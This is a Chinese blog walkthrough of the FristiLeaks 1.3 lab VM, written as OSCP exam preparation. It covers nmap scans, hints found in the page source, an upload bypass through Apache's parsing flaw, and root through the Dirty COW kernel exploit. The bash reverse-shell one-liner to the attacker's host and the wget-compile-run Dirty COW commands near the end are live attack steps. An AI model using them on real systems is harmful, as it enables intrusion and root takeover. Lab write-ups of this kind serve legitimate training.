首页 > 其他分享 >oscp备考,oscp系列——FristiLeaks_1.3靶场

oscp备考,oscp系列——FristiLeaks_1.3靶场

时间:2024-12-26 23:56:11浏览次数:8  
标签:http 1.3 Nmap up 192.168 nmap Linux FristiLeaks oscp

oscp备考,oscp系列——FristiLeaks_1.3靶场

FristiLeaks_1.3难度为简单靶场

  • 考察信息收集,有点ctf的味道,通过提示最后发现upload上传地点
  • 使用Apache解析漏洞,绕过白名单限制
  • 最后牛脏提权
    下载地址:
https://pan.quark.cn/s/26e1cb6958fc

nmap

主机发现

└─# nmap -sn 192.168.80.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-20 09:22 CST
Nmap scan report for 192.168.80.1
Host is up (0.00036s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.80.2
Host is up (0.00030s latency).
MAC Address: 00:50:56:E1:35:E6 (VMware)
Nmap scan report for 192.168.80.131
Host is up (0.00052s latency).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.80.254
Host is up (0.00033s latency).
MAC Address: 00:50:56:FF:44:91 (VMware)
Nmap scan report for 192.168.80.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 25.04 seconds

端口扫描

进行了两次扫描,发现只有80端口

┌──(root㉿kali)-[/home/kali/桌面/nmap]
└─# nmap --min-rate 10000 -p- 192.168.80.131 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-20 09:25 CST
Nmap scan report for 192.168.80.131
Host is up (0.00085s latency).
Not shown: 65515 filtered tcp ports (no-response), 19 filtered tcp ports (host-prohibited)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 23.66 seconds
                                                                                                                                                                                                                  
┌──(root㉿kali)-[/home/kali/桌面/nmap]
└─# nmap --min-rate 5000 -p- 192.168.80.131 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-20 09:28 CST
Nmap scan report for 192.168.80.131
Host is up (0.0014s latency).
Not shown: 65502 filtered tcp ports (no-response), 32 filtered tcp ports (host-prohibited)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 36.53 seconds

详细端口扫描

└─# nmap -sV -sC -sT -O -p80 192.168.80.131 -oA fl1.3/detail
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-20 09:45 CST
Nmap scan report for 192.168.80.131
Host is up (0.0014s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
| http-robots.txt: 3 disallowed entries 
|_/cola /sisi /beer
| http-methods: 
|_  Potentially risky methods: TRACE
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|storage-misc|media device|webcam
Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (97%), Drobo embedded (89%), Synology DiskStation Manager 5.X (89%), LG embedded (88%), Tandberg embedded (88%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/h:drobo:5n cpe:/a:synology:diskstation_manager:5.2
Aggressive OS guesses: Linux 2.6.32 - 3.10 (97%), Linux 2.6.32 - 3.13 (97%), Linux 2.6.39 (94%), Linux 2.6.32 - 3.5 (92%), Linux 3.2 (91%), Linux 3.2 - 3.16 (91%), Linux 3.2 - 3.8 (91%), Linux 2.6.32 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.9 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.21 seconds

vuln扫描

└─# nmap --script=vuln -p80 192.168.80.131 -oA fl1.3/vuln
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-20 09:47 CST
Nmap scan report for 192.168.80.131
Host is up (0.00087s latency).

PORT   STATE SERVICE
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /robots.txt: Robots file
|   /icons/: Potentially interesting folder w/ directory listing
|_  /images/: Potentially interesting folder w/ directory listing
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 108.07 seconds

目录扫描

image.png
nmap和目录扫描,得到了

/robots.txt
/icons/
/images/

80

robots.txt

发现三个目录进去看看

Disallow: /cola
Disallow: /sisi
Disallow: /beer

image.png

image.png
得到了images文件夹有目录遍历,没什么用
image.png
其他两个指向和/cola一样
image.png
image.png

/icons 目录

进入看看,也是目录遍历,但是全是图片,没有什么东西
image.png

image.png
对他单独进行目录扫描试试,也全部都是图片

image.png

提示信息

image.png
发现不对,尝试小写:fristi,成功访问
image.png

文件上传漏洞

通过提示登录

进入之后,顺便尝试了一下弱口令和sql注入,发现没有
查看源码,发现有提示

TODO:
We need to clean this up for production. I left some junk in here to make testing easier.
- by eezeepz

image.png
image.png

iVBORw0KGgoAAAANS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JNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==

image.png
base64解密,发现是图片
image.png
得到

keKkeKKeKKeKkEkkEk

image.png
通过这两个

eezeepz
keKkeKKeKKeKkEkkEk

猜测应该是账号和密码
成功登录
image.png
发现文件上传
image.png

文件上传

进行文件上传,发现是白名单

查看一下php版本和中间件
image.png
发现可以尝试:%00截断和Apache解析漏洞
%00截断

1. PHP版本小于5.3.4
2. php.ini中的magic_quotes_gpc设置为Off

Apache解析漏洞
 Apache 在1.x和2.x版本中存在解析漏洞
 例如如下地址格式:

www.xxxx.com/apache.php.bbb.aaa

Apache从右至左开始判断后缀,若aaa非可识别后缀,再判断bbb,直到找到可识别后缀为止,然后将该可识别后缀进解析,因此如上地址解析为访问apache.php文件

尝试%00截断漏洞,失败

image.png
image.png

尝试低Apache解析漏洞,成功

image.png
image.png

蚁剑连接+反弹shell

image.png
反弹shell

bash -c 'exec bash -i &>/dev/tcp/192.168.80.129/7777 <&1'

image.png
image.png

方法一,牛脏提权

查看内核版本
image.png

Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64

可以尝试牛脏提权

wget http://192.168.80.129/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
chmod 777 dirty
./dirty 123456

image.png
可以发现已经成了,直接使用su命令切换用户

bash-4.1$ su firefart
su firefart
Password: 123456

[firefart@localhost tmp]# id
id
uid=0(firefart) gid=0(root) groups=0(root)
[firefart@localhost tmp]# 

image.png

标签:http,1.3,Nmap,up,192.168,nmap,Linux,FristiLeaks,oscp
From: https://blog.csdn.net/2202_75361164/article/details/144754819

相关文章

  • oscp备战系列-Kioptrix2014
    文章目录一、信息收集二、漏洞探测三、漏洞利用四、后渗透一、信息收集主机探测nmap192.168.30.0/24-sP端口及版本探测nmap192.168.30.199-sV可以看到开放了80,8080端口,采用apache2.2.21mod_ssl2.2.21openssl0.9.8qWebDAV2php5.3.8OS:FreeBSD,22端......
  • Hadoop3.1.3安装教程_单机/伪分布式配置
        当开始着手实践Hadoop时,安装Hadoop往往会成为新手的一道门槛。尽管安装其实很简单,书上有写到,官方网站也有Hadoop安装配置教程,但由于对Linux环境不熟悉,书上跟官网上简略的安装步骤新手往往Hold不住。加上网上不少教程也甚是坑,导致新手折腾老几天愣是没装......
  • FristiLeaks_1.3(0基础详解)
    1.将虚拟机导入到vm中,扫描获得此靶机的ip靶机ip为192.168.55.1392.进行端口扫描、目录枚举、指纹识别端口扫描:目录枚举:指纹识别:3.进入靶机网页查看信息发现网站没有什么信息目录枚举中有一个robots.txt可以尝试访问一下试试访问这个文件,发现有三个目录......
  • oscp学习之路,Kioptix Level1靶场小白速通教程
    oscp学习之路,KioptixLevel1靶场小白速通教程有意向学习oscp的可以私信我一起交流学习1.前期准备首先下载好靶场文件,通过nmap进行扫描,确定IP地址和开放端口发现IP是192.168.201.129,开放的端口为22,80,111,139,443,1024这几个端口。访问IP地址未发现漏洞点,接着对目录......
  • 泷羽sec之OSCP认证:OSCP认证介绍与备考少踩坑经验
    声明:本套OSCP培训课程为泷羽sec付费课程。b站上的红队从0到1免费。学习视频来自B站up主**泷羽sec**有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线......
  • oscp考证-电子取证方向
    声明!文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!下载准备正常情况使用下面的命令下载,但是我的有问题,使用使用了另外一种wgetwww.offensive-security.com/pwk-files/access_log.txt.gzwget--secure-protocol=TLSv......
  • 11.30 每日总结(大数据)
    今天在搞大数据的大作业。另外熟悉了一下linux命令学习时长2小时 下面给出我的文档(图片好像粘贴不了了) 1)cd命令:切换目录(1)      切换到目录“/usr/local”(2)      切换到当前目录的上一级目录(3)      切换到当前登录Linux系统的用户的自己的主文件夹......
  • 云原生周刊:Kubernetes v1.32 正式发布
    云原生周刊:Kubernetesv1.32正式发布开源项目推荐HelmperHelmper简化了将HelmCharts导入OCI(开放容器倡议)注册表的过程,并支持可选的漏洞修复功能。它确保您的HelmCharts不仅安全存储,还能及时应用最新的安全修复。该工具完全兼容OCI标准,能够方便地与OCI注册表集成,自动......
  • Ubuntu 22.04 部署 Kubernetes v1.30
    1Shell工具xshell免费版,工具菜单下可选,同时控制所有的会话,后面不同节点安装Kubernetes会提高效率2节点规划Linux为UbuntuServer22.04,下载地址https://ubuntu.com/download/server域名IP资源节点名k8s-master192.168.0.1508C16Gk8s-masterk8s-node1......
  • 2.1.3-2 第二次Reactor代码(百万并发测试过程的报错信息)
    零、概述做服务器性能测试的时候,并发量、QPS(每秒处理多少请求)、时迟(延迟,每个请求多长时间返回)、测试用例(业务代码,发什么数据和回什么数据)这四组都是重要的参数。并发→网络io的并发,是服务端最基础的技能。备注:研发和运营的数据不相同。一、报错信息serverip:192......